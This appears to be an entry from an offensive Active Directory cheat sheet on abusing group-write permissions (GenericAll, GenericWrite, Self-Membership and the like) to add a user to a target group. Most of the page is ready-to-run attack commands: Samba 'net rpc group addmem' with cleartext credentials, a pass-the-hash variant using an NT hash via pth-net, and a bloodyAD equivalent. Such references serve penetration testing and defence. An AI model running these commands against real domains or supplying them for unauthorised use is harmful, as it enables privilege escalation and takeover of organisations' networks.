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AddMember

This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, Self, AllExtendedRights or Self-Membership, over the target group.

It can also be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients. The pth-toolkit can also be used to run net commands with pass-the-hash.

bash
# With net and cleartext credentials (will be prompted)
net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER" -S "$DC_HOST"

# With net and cleartext credentials
net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"

# With Pass-the-Hash
pth-net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER"%"ffffffffffffffffffffffffffffffff":"$NT_HASH" -S "$DC_HOST"

Alternatively, it can be achieved using bloodyAD

bash
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add groupMember "$TargetGroup" "$TargetUser"